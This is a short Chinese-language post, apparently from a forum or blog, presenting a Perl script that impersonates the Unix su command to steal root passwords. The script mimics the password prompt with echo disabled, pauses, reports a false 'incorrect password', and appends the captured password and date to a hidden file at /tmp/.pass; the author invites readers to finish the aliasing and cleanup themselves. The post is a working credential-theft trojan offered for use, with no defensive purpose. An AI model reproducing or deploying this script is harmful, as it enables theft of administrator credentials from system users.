冒充su ,perl写的su.pl盗取root密码

1043 2020-6-29 13:43

我改了一下,把回显关了 加了个延时:

#!/usr/bin/perl
# Written by xi4oyu <[email protected]>.

print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);

很明显直接用是8行的,还有别名恢复等工作要做,各位看官自己搞定!